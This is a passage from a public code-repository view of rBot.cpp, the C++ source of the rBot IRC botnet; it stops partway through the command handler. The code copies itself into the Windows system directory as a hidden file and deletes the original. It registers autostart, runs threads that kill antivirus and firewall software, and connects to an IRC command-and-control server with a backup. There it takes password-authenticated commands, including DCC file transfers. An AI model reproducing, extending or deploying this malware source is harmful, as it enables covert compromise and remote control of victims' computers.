-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathrBot.cpp
2577 lines (2276 loc) · 85.3 KB
/
rBot.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
rBot
*/
#include "includes.h"
#include "functions.h"
#include "configs.h"
#include "passwd.h"
#include "globals.h"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char logbuf[LOGLINE],fname[_MAX_FNAME],ext[_MAX_EXT],rfilename[MAX_PATH],cfilename[MAX_PATH],sysdir[MAX_PATH];
int i = 0, err = 0;
DWORD id=0;
BOOL bkpserver = FALSE;
#ifndef NO_EHANDLER
// install exception handler
DWORD handler = (DWORD)_except_handler;
_asm
{ // Build EXCEPTION_REGISTRATION record:
push handler // Address of handler function
push FS:[0] // Address of previous handler
mov FS:[0],ESP // Install new EXECEPTION_REGISTRATION
}
#endif
// record start time
started = GetTickCount() / 1000;
// re-seed random numbers
srand(GetTickCount());
#ifdef DEBUG_LOGGING
opendebuglog();
#endif
#ifndef NO_CRYPT // Don't decrypt password here
decryptstrings((sizeof(authost) / sizeof(LPTSTR)), (sizeof(versionlist) / sizeof(LPTSTR)));
#endif
LoadDLLs(); // load all the dlls and functions here
// hide system messages if bot crashes
fSetErrorMode(SEM_NOGPFAULTERRORBOX);
// check if this exe is running already
if (WaitForSingleObject(CreateMutex(NULL, FALSE, botid), 30000) == WAIT_TIMEOUT)
ExitProcess(EXIT_FAILURE);
WSADATA WSAdata;
if ((err = fWSAStartup(MAKEWORD(2, 2), &WSAdata)) != 0)
return 0;
if (LOBYTE(WSAdata.wVersion) != 2 || HIBYTE(WSAdata.wVersion) != 2 ) {
fWSACleanup();
return 0;
}
GetSystemDirectory(sysdir, sizeof(sysdir));
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
_splitpath(cfilename, NULL, NULL, fname, ext);
_snprintf(rfilename, sizeof(rfilename), "%s%s", fname, ext);
if (strstr(cfilename, sysdir) == NULL) {
char tmpfilename[MAX_PATH];
if (rndfilename) {
for (i=0;(unsigned int)i < (strlen(filename) - 4);i++)
filename[i] = (char)((rand() % 26) + 97);
}
sprintf(tmpfilename, "%s\\%s", sysdir, filename);
if (GetFileAttributes(tmpfilename) != INVALID_FILE_ATTRIBUTES)
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_NORMAL);
// loop only once to make sure the file is copied.
BOOL bFileCheck=FALSE;
while (CopyFile(cfilename, tmpfilename, FALSE) == FALSE) {
DWORD result = GetLastError();
if (!bFileCheck && (result == ERROR_SHARING_VIOLATION || result == ERROR_ACCESS_DENIED)) {
bFileCheck=TRUE; // check to see if its already running! then try 1 last time.
Sleep(15000);
} else
break; // just continue, it's not worth retrying.
}
SetFileTime(tmpfilename);
SetFileAttributes(tmpfilename,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY);
PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
memset(&pinfo, 0, sizeof(pinfo));
memset(&sinfo, 0, sizeof(sinfo));
sinfo.lpTitle = "";
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESHOWWINDOW;
#ifdef DEBUG_CONSOLE
sinfo.wShowWindow = SW_SHOW;
#else
sinfo.wShowWindow = SW_HIDE;
#endif
char cmdline[MAX_PATH];
HANDLE hProcessOrig = OpenProcess(SYNCHRONIZE, TRUE, GetCurrentProcessId());
sprintf(cmdline,"%s %d \"%s\"",tmpfilename, hProcessOrig, cfilename);
if (CreateProcess(tmpfilename, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, sysdir, &sinfo, &pinfo)) {
Sleep(200);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
fWSACleanup();
ExitProcess(EXIT_SUCCESS);
}
}
#ifdef DEBUG_CONSOLE
OpenConsole();
printf("Debugging console enabled.\n\n");
#endif
#ifndef NO_MELT
// now delete it
if (__argc > 2) {
// now the clone is running --> kill original exe
HANDLE hProcessOrig = (HANDLE) atoi(__argv[1]);
WaitForSingleObject(hProcessOrig, INFINITE);
CloseHandle(hProcessOrig);
if (__argv[2]) {
Sleep(2000); //wait for 2 sec to make sure process has fully exited
DeleteFile(__argv[2]);
}
}
#endif
if ((AutoStart) && !(noadvapi32))
AutoStartRegs(rfilename);
sprintf(logbuf,"[MAIN]: Bot started.");
addthread(logbuf,MAIN_THREAD,NULL);
addlog(logbuf);
// remove the following line if you don't want any predefined aliases
memset(aliases, 0, sizeof(aliases));
addpredefinedaliases();
#ifndef NO_AVFW_KILL
sprintf(logbuf,"[PROCS]: AV/FW Killer active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &kill_av, NULL, 0, &id)) == NULL)
sprintf(logbuf,"[PROCS]: Failed to start AV/FW killer thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_SECSYSTEM
sprintf(logbuf,"[SECURE]: System secure monitor active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoSecure, NULL, 0, &id)) == NULL)
sprintf(logbuf,"[SECURE]: Failed to start secure thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_REGISTRY
sprintf(logbuf,"[SECURE]: Registry monitor active.");
i=addthread(logbuf,KILLER_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &AutoRegistry, (LPVOID)&rfilename, 0, &id)) == NULL)
sprintf(logbuf,"[SECURE]: Failed to start registry thread, error: <%d>.", GetLastError());
addlog(logbuf);
#endif
#ifndef NO_IDENT
if (findthreadid(IDENT_THREAD) == 0) {
sprintf(logbuf,"[IDENTD]: Server running on Port: 113.");
i = addthread(logbuf,IDENT_THREAD,NULL);
if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
sprintf(logbuf,"[IDENTD]: Failed to start server, error: <%d>.", GetLastError());
addlog(logbuf);
}
#endif
// set version while bot is running
current_version=rand()%(sizeof(versionlist)/sizeof(*versionlist));
// copy settings into main irc structure
strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
mainirc.port = port;
strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
mainirc.spy = 0;
while (1) {
for (i = 0; i < 6; i++) {
#ifndef NO_CONNCHECK
DWORD cstat;
// check if we're connected to the internet... if not, then wait 5mins and try again
if (!nowininet) if (fInternetGetConnectedState(&cstat, 0) == FALSE) {
Sleep(30000);
continue;
}
#endif
success = FALSE;
if ((err = irc_connect((LPVOID)&mainirc)) == 2)
break; // break out of the loop
if (success) i--; // if we're successful in connecting, decrease i by 1;
// irc_connect didn't return 2, so we need to sleep then reconnect
Sleep(3000);
}
if (err == 2) break; // break out of the loop and close
if (bkpserver) {
strncpy(mainirc.host, server, sizeof(mainirc.host)-1);
mainirc.port = port;
strncpy(mainirc.channel, channel, sizeof(mainirc.channel)-1);
strncpy(mainirc.chanpass, chanpass, sizeof(mainirc.chanpass)-1);
bkpserver = FALSE;
}
else if (!bkpserver && server2[0] != '\0') {
strncpy(mainirc.host, server2, sizeof(mainirc.host)-1);
mainirc.port = port2;
strncpy(mainirc.channel, channel2, sizeof(mainirc.channel)-1);
strncpy(mainirc.chanpass, chanpass2, sizeof(mainirc.chanpass)-1);
bkpserver = TRUE;
}
}
// cleanup;
killthreadall();
fWSACleanup();
return 0;
}
// connect function used by the original bot and all clones/spies
DWORD WINAPI irc_connect(LPVOID param)
{
SOCKET sock;
SOCKADDR_IN ssin;
char *nick1, nickbuf[MAXNICKLEN];
int rval;
IRC irc = *((IRC *)param);
IRC *ircs = (IRC *)param;
ircs->gotinfo = TRUE;
while (1) {
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family = AF_INET;
ssin.sin_port = fhtons((unsigned int)irc.port);
if ((ssin.sin_addr.s_addr=ResolveAddress(irc.host)) == 0)
return 0;
memset(nickbuf, 0, sizeof(nickbuf));
nick1 = rndnick(nickbuf, nicktype, nickprefix);
strncpy(threads[irc.threadnum].nick, nick1, sizeof(threads[irc.threadnum].nick)-1);
sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
threads[irc.threadnum].sock = sock;
if (fconnect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) {
fclosesocket(sock);
FlushDNSCache();
Sleep(2000);
continue;
}
#ifdef DEBUG_CONSOLE
printf("Bot started and connect to %s.\n", irc.host);
#endif
addlogv("[MAIN]: Connected to %s.", irc.host);
rval = irc_receiveloop(sock, irc.channel, irc.chanpass, nick1, irc.sock, irc.hchan, irc.host, irc.spy);
fclosesocket(sock);
if (rval == 0)
continue;
else if (rval == 1) { //Disconnect (sleep 15 mins, reconnect..)
Sleep(900000);
continue;
}
else if (rval == 2)
break; //Quit
}
clearthread(irc.threadnum);
return rval;
}
// receive loop for bots/spies
int irc_receiveloop(SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server, int spy)
{
// main receive buffer
char buffer[4096], masters[MAXLOGINS][128], *lines[MAX_LINES], str[18], login[128], host[160];
int i, j, repeat, in_channel=0;
for (i = 0; i < MAXLOGINS; i++)
masters[i][0] = '\0';
if (serverpass[0] != '\0')
irc_sendv(sock,"PASS %s\r\n",serverpass);
sprintf(login, "NICK %s\r\n"
"USER %s 0 0 :%s\r\n", nick1, rndnick(str,LETTERNICK, FALSE), nick1);
#ifdef DEBUG_LOGGING
debuglog(login,FALSE);
#endif
if (fsend(sock, login, strlen(login), 0) == SOCKET_ERROR) {
fclosesocket(sock);
Sleep(5000);
return 0;
}
// loop forever
while(1) {
memset(buffer, 0, sizeof(buffer));
// if recv() returns 0, that means that the connection has been lost.
if (frecv(sock, buffer, sizeof(buffer), 0) <= 0)
break;
// FIX ME: Truncation occurs here
// split lines up if multiple lines received at once, and parse each line
i = Split(buffer,&lines);
for (j=0;j < i;j++) {
repeat=1;
do {
#ifdef DEBUG_LOGGING
debuglog(lines[j]);
#endif
repeat = irc_parseline(lines[j], sock, channel, chanpass, nick1, server, masters, host, &in_channel, repeat, spy);
repeat--;
if (repeat > 0)
Sleep(FLOOD_DELAY);
} while (repeat > 0);
switch (repeat) {
case -1:
return 0; // Reconnect
case -2:
return 1; // Disconnect
case -3:
return 2; // Quit
default:
break;
}
}
}
return 0;
}
// function to parse lines for the bot and clones
int irc_parseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, char *server, char masters[][128], char *host, int *in_channel, int repeat, int spy)
{
char line1[IRCLINE], line2[IRCLINE], sendbuf[IRCLINE],ntmp[12], ntmp2[3];
char *a[MAXTOKENS], a0[128], nick[MAXNICKLEN], user[24];
unsigned char parameters[256];
int i, ii, s=3;
DWORD id=0;
BOOL ismaster = FALSE, silent = FALSE, notice = FALSE, usevars = FALSE;
memset(sendbuf, 0, sizeof(sendbuf));
strncpy(nick, nick1, sizeof(nick)-1);
if (line == NULL) return 1;
memset(line1, 0, sizeof(line1));
strncpy(line1, line, sizeof(line1)-1);
char *x = strstr(line1, " :");
// split the line up into seperate words
strncpy(line2, line1, sizeof(line2)-1);
a[0] = strtok(line2, " ");
for (i = 1; i < MAXTOKENS; i++)
a[i] = strtok(NULL, " ");
if (a[0] == NULL || a[1] == NULL)
return 1;
memset(parameters,0,sizeof(parameters));
for (i=31;i>=0;i--) {
if (!a[i])
continue;
if ((a[i][0]=='-') && (a[i][2]==0)) {
//Looks like a valid parameter..
parameters[a[i][1]]=1;
a[i][0]=0;
a[i][1]=0;
a[i][2]=0;
a[i]=NULL;
} else
break;
}
if (parameters['s'])
silent=TRUE;
if (parameters['n']) {
silent=FALSE;
notice=TRUE;
}
if (a[0][0] != '\n') {
strncpy(a0, a[0], sizeof(a0)-1);
strncpy(user, a[0]+1, sizeof(user)-1);
strtok(user, "!");
}
// pong if we get a ping request from the server
if (strcmp("PING", a[0]) == 0) {
a[0][1]='O';
//irc_sendv(sock, "PONG %s\r\n", a[1]+1);
irc_sendv(sock, "PONG %s\r\n", a[1]);
if (*in_channel == 0)
irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
return 1;
}
// looks like we're connected to the server, let's join the channel
if (strcmp("001", a[1]) == 0 || strcmp("005", a[1]) == 0) {
irc_sendv(sock, "USERHOST %s\r\n", nick1); // get our hostname
#ifndef NO_MODEONCONN
irc_sendv(sock, "MODE %s %s\r\n", nick1, modeonconn);
#else
irc_sendv(sock, "MODE %s +i\r\n", nick1);
#endif
irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
success = TRUE;
return 1;
}
// get host
if (strcmp("302", a[1]) == 0) {
char *h = strstr(a[3], "@");
if (h != NULL)
strncpy(host, h+1, 159);
return 1;
}
// nick already in use
if (strcmp("433", a[1]) == 0) {
rndnick(nick1, nicktype, nickprefix);
irc_sendv(sock, "NICK %s\r\n", nick1);
return 1;
}
// check if user is logged in
for (i = 0; i < MAXLOGINS; i++) {
if (strcmp(masters[i], a0) == 0)
ismaster = TRUE;
}
//rejoin channel if we're kicked, otherwise reset master if it was our master that got kicked
if (strcmp("KICK", a[1]) == 0) {
char *knick;
for (i = 0; i < MAXLOGINS; i++) {
if (masters[i][0] == '\0') continue;
strncpy(a0, masters[i], sizeof(a0)-1);
knick = user;
if (knick != NULL && a[3] != NULL)
if (strcmp(knick, a[3]) == 0) {
masters[i][0] = '\0';
sprintf(sendbuf,"[MAIN]: User %s logged out.", knick);
irc_sendv(sock, "NOTICE %s :%s\r\n", knick, sendbuf);
addlog(sendbuf);
}
}
if (strcmp(nick1, a[3]) == 0) {
*in_channel = 0;
irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass);
}
return 1;
}
if (strcmp("NICK", a[1]) == 0) {
char *oldnck = user, *newnck = a[2] + 1;
for (i=0;i<MAXLOGINS;i++) {
if (strcmp(masters[i],a0) == 0) {
//Master has changed nick
//Lets TRY to rebuild the master-usermask.
char *identandhost=strchr(a0,'!');
if (identandhost) {
masters[i][0]=':'; //Prefix
strcpy(&masters[i][1],newnck);
strcat(&masters[i][2],identandhost);
}
}
}
if(oldnck != NULL && newnck != NULL) {
if(strcmp(oldnck, nick1) == 0) {
strncpy(nick1, newnck, 15);
return 1;
}
char debugbuf[100];
for (i = 0; i < MAXLOGINS; i++) {
if(masters[i][0] != '\0' && strcmp(masters[i], a0) == 0) {
char *ih = strchr(a0, '!');
if(ih == NULL || strlen(newnck) + strlen(ih) > 126)
return 1;
sprintf(masters[i], ":%s%s", newnck, ih);
irc_privmsg(sock, channel, debugbuf, FALSE);
break;
}
}
}
return 1;
}
// reset master if master parts or quits
if (strcmp("PART", a[1]) == 0 || strcmp("QUIT", a[1]) == 0) {
for (i = 0; i < MAXLOGINS; i++) {
if (masters[i][0] != '\0') {
if (strcmp(masters[i], a[0]) == 0) {
masters[i][0] = '\0';
sprintf(sendbuf, "[MAIN]: User: %s logged out.", user);
addlog(sendbuf);
if (strcmp("PART", a[1]) == 0)
irc_sendv(sock, "NOTICE %s :%s\r\n", a[0] + 1, sendbuf);
return 1;
}
}
}
}
// we've successfully joined the channel
if (strcmp("353", a[1]) == 0) {
if (strcmp(channel, a[4]) == 0)
*in_channel = 1;
addlogv("[MAIN]: Joined channel: %s.", a[4]);
return 1;
}
// if we get a privmsg, notice or topic command, start parsing it
if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || (strcmp("332", a[1]) == 0 && topiccmd)) {
if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) { // it's a privmsg/notice
if (strcmp("NOTICE", a[1]) == 0)
notice = TRUE;
if (a[2] == NULL) return 1;
if (strstr(a[2], "#") == NULL || notice)
a[2] = user;
if (a[3] == NULL) return 1;
a[3]++;
// if our nick is the first part of the privmsg, then we should look at a[4] for a command, a[3] otherwise.
if (a[3] && nick1)
if (strncmp(nick, a[3], strlen(nick)) == 0)
s = 4;
else
s = 3;
if (a[s] == NULL) return 1;
// if someone asks for our version, send version reply
if (strcmp("\1VERSION\1", a[s]) == 0)
if (a[2][0] != '#' && versionlist[current_version][0] != '\0') {
irc_sendv(sock, "NOTICE %s :\1VERSION %s\1\r\n", a[2], (char *)versionlist[current_version]);
return 1;
}
else if (strcmp("\1PING", a[s]) == 0)
if (a[s+1] != NULL && a[2][0] != '#') {
irc_sendv(sock, "NOTICE %s :\1PING %s\1\r\n", a[2], a[s+1]);
return 1;
}
} else { // it's a topic command
s = 4;
a[4]++;
a[2] = a[3];
}
#ifndef NO_DCC
if (strcmp("\1DCC", a[s]) == 0) {
if (strcmp("SEND", a[s+1]) == 0) {
if (ismaster) {
DCC dcc;
sprintf(dcc.filename,"%s",a[s+2]);
sprintf(dcc.host,"%s",a[s+3]);
dcc.port = atoi(a[s+4]);
dcc.sock = sock;
strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
dcc.notice = notice;
dcc.silent = silent;
sprintf(sendbuf, "[DCC]: Receive file: '%s' from user: %s.", dcc.filename,dcc.sendto);
dcc.threadnum=addthread(sendbuf,DCC_THREAD,NULL);
if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCGetThread, (LPVOID)&dcc, 0, &id)) {
while (dcc.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[DCC]: Failed to start transfer thread, error: <%d>.", GetLastError());
} else
sprintf(sendbuf, "[DCC]: Receive file: '%s' failed from unauthorized user: %s.", a[s+2], user);
addlog(sendbuf);
return 1;
}
else if (strcmp("CHAT", a[s+1]) == 0) {
if (ismaster) {
if (findthreadid(DCCCHAT_THREAD) == 0) {
DCC dcc;
sprintf(dcc.host,"%s",a[s+3]);
dcc.port = atoi(a[s+4]);
dcc.sock = sock;
strncpy(dcc.sendto,user,sizeof(dcc.sendto)-1);
dcc.notice = notice;
dcc.silent = silent;
sprintf(sendbuf, "[DCC]: Chat from user: %s.", user);
dcc.threadnum=addthread(sendbuf,DCCCHAT_THREAD,NULL);
if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCChatThread, (LPVOID)&dcc, 0, &id)) {
while (dcc.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[DCC]: Failed to start chat thread, error: <%d>.", GetLastError());
} else
sprintf(sendbuf,"[DCC]: Chat already active with user: %s.",user);
} else
sprintf(sendbuf,"[DCC]: Chat failed by unauthorized user: %s.",user);
addlog(sendbuf);
return 1;
}
} else
#endif
if (a[s]++[0] != prefix)
return 1;
#ifdef DEBUG_CRYPT // NOTE: Here for testing only. Please leave until we have the auth bug looked at.
#ifndef NO_CRYPT
if (strcmp("dump", a[s]) == 0) {
if (a[s+1]) {
irc_sendv(sock, "NOTICE %s : Id = '%s'\r\n",user,botid); Sleep(FLOOD_DELAY);
irc_sendv(sock, "NOTICE %s : Version = '%s'\r\n",user,version); Sleep(FLOOD_DELAY);
irc_sendv(sock, "NOTICE %s : Server = '%s'\r\n",user,server); Sleep(FLOOD_DELAY);
irc_sendv(sock, "NOTICE %s : Channel = '%s'\r\n",user,channel); Sleep(FLOOD_DELAY);
irc_sendv(sock, "NOTICE %s : Nickconst = '%s'\r\n",user,nickconst); Sleep(FLOOD_DELAY);
irc_sendv(sock, "NOTICE %s : Authost = '%s'\r\n",user,authost[0]);
irc_sendv(sock, "NOTICE %s : Password(before) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(password,strlen(password));
irc_sendv(sock, "NOTICE %s : Password = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(password,strlen(password));
irc_sendv(sock, "NOTICE %s : Password(enc) = '%s'\r\n",user,password); Sleep(FLOOD_DELAY);
Crypt(a[s+1],strlen(a[s+1]));
irc_sendv(sock, "NOTICE %s : Password(arg) = '%s'\r\n",user,a[s+1]); Sleep(FLOOD_DELAY);
}
return 1;
}
#endif
#endif
// see if someone is logging in
if (strcmp("login", a[s]) == 0 || strcmp("l", a[s]) == 0) {
if (a[s+1] == NULL || ismaster)
return 1;
char *u = strtok(a[0], "!") + 1, *h = strtok(NULL, "\0");
h = strtok(h, "~");
#ifndef NO_CRYPT
Crypt(a[s+1],strlen(a[s+1]),"",0); // Encrypt password to compare to stored password
#endif
if (strcmp(password, a[s+1]) != 0) {
irc_sendv(sock, "NOTICE %s :Pass auth failed (%s!%s).\r\n", user, user, h);
irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
sprintf(sendbuf, "[MAIN]: *Failed pass auth by: (%s!%s).", u, h);
addlog(sendbuf);
return 1;
}
BOOL host_ok=FALSE;
for (i=0;i<(sizeof(authost) / sizeof(LPTSTR));i++) {
#ifndef NO_WILDCARD
if (wildcardfit(authost[i], h)) {
host_ok = TRUE;
break;
}
#else
if (strcmp(h, authost[i]) == 0) {
host_ok = TRUE;
break;
}
#endif
}
if (!host_ok) {
irc_sendv(sock, "NOTICE %s :Host Auth failed (%s!%s).\r\n", user, user, h);
irc_sendv(sock, "NOTICE %s :Your attempt has been logged.\r\n", user);
sprintf(sendbuf, "[MAIN]: *Failed host auth by: (%s!%s).", u, h);
addlog(sendbuf);
return 1;
}
for (i = 0; i < MAXLOGINS; i++) {
if (a[s+1] == NULL) return 1;
if (masters[i][0] != '\0') continue;
if (strcmp(password, a[s+1]) == 0) {
strncpy(masters[i], a0, 127);
if (!silent) irc_privmsg(sock, a[2], "[MAIN]: Password accepted.", notice);
addlogv("[MAIN]: User: %s logged in.", user);
break;
}
}
return 1;
}
if ((ismaster || strcmp("332", a[1]) == 0) && spy == 0) {
// commands requiring no parameters
// check if the command matches an alias's name
for (i = 0; i < anum; i++) {
if (strcmp(aliases[i].name, a[s]) == 0) {
char *sc = strstr(line, " :");
if (sc == NULL) return 1;
sc[2] = prefix;
sc[3] = prefix;
strncpy(sc+4, aliases[i].command, 159);
// process '$x-' parameter variables
for (ii=15; ii > 0; ii--) {
sprintf(ntmp, "$%d-", ii);
if (strstr(line, ntmp) != NULL && a[s+ii+1] != NULL) {
x = x + strlen(aliases[i].name);
if (x != NULL) {
char *y = strstr(x, a[s+ii]);
if (y != NULL) replacestr(line, ntmp, y);
}
}
else if (a[s+ii+1] == NULL) {
strncpy(ntmp2, ntmp, 2);
ntmp2[2] = '\0';
replacestr(line, ntmp, ntmp2);
}
}
// process '$x' parameter variables
for (ii=16; ii > 0; ii--){
sprintf(ntmp, "$%d", ii);
if (strstr(line, ntmp) != NULL && a[s+ii] != NULL)
replacestr(line, ntmp, a[s+ii]);
}
usevars = TRUE;
break;
}
}
if (a[s][0] == prefix || usevars) {
// process variables
replacestr(line, "$me", nick1); // bot's nick
replacestr(line, "$user", user); // user's nick
replacestr(line, "$chan", a[2]); // channel name (or user name if this is a privmsg to the bot)
replacestr(line, "$rndnick", rndnick(ntmp)); // random string of 4-7 characters
replacestr(line, "$server", server); // name of current server
// process '$chr()' variables
while (strstr(line, "$chr(") != NULL) {
char *c = strstr(line, "$chr(");
strncpy(ntmp, c+5, 4);
strtok(ntmp, ")");
if (ntmp[0] < 48 || ntmp[0] > 57)
strncpy(ntmp, "63", 3);
if (atoi(ntmp) > 0)
ntmp2[0] = (char)atoi(ntmp);
else
ntmp2[0] = (char)((rand()%96) + 32);
ntmp2[1] = '\0';
ii = strlen(ntmp);
memset(ntmp, 0, sizeof(ntmp));
strncpy(ntmp, c, ii+6);
replacestr(line, ntmp, ntmp2);
}
// re-split the line into seperate words
strncpy(line1, line, sizeof(line1)-1);
strncpy(line2, line1, sizeof(line2)-1);
a[0] = strtok(line2, " ");
for (i = 1; i < 32; i++)
a[i] = strtok(NULL, " ");
if (a[s] == NULL)
return 1;
a[s] += 3;
}
if (strcmp("rndnick", a[s]) == 0 || strcmp("rn", a[s]) == 0) {
rndnick(nick, nicktype, ((parameters['p'])?(TRUE):(FALSE)), a[s+1]);
irc_sendv(sock, "NICK %s\r\n", nick);
addlogv("[MAIN]: Random nick change: %s",nick);
return repeat;
}
else if (strcmp("die", a[s]) == 0 || strcmp("d", a[s]) == 0) {
if (strcmp("332", a[1]) != 0) {
#ifdef DEBUG_LOGGING
closedebuglog();
#endif
killthreadall();
ExitProcess(EXIT_SUCCESS);
}
}
else if (strcmp("logout", a[s]) == 0 || strcmp("lo", a[s]) == 0) {
if (a[s+1]) {
i = atoi(a[s+1]);
if(i >= 0 && i < MAXLOGINS) {
if(masters[i][0] != '\0') {
sprintf(sendbuf, "[MAIN]: User %s logged out.", masters[i]+1);
masters[i][0] = '\0';
} else
sprintf(sendbuf, "[MAIN]: No user logged in at slot: %d.", i);
} else
sprintf(sendbuf, "[MAIN]: Invalid login slot number: %d.", i);
} else {
for (i = 0; i < MAXLOGINS; i++)
if (strcmp(masters[i], a[0]) == 0) {
masters[i][0] = '\0';
sprintf(sendbuf, "[MAIN]: User %s logged out.", user);
break;
}
}
if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
return 1;
}
#ifndef NO_BOTVERSION
else if (strcmp("version", a[s]) == 0 || strcmp("ver", a[s]) == 0) {
sprintf(sendbuf, "[MAIN]: %s", version);
if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
return repeat;
}
#endif
#ifndef NO_SECURE
else if (strcmp("secure", a[s]) == 0 || strcmp("sec", a[s]) == 0
|| strcmp("unsecure", a[s]) == 0 || strcmp("unsec", a[s]) == 0) {
SECURE secure;
secure.secure = (strcmp("secure",a[s])==0 || strcmp("sec",a[s])==0);
_snprintf(secure.chan, sizeof(secure.chan), a[2]);
secure.sock = sock;
secure.notice = notice;
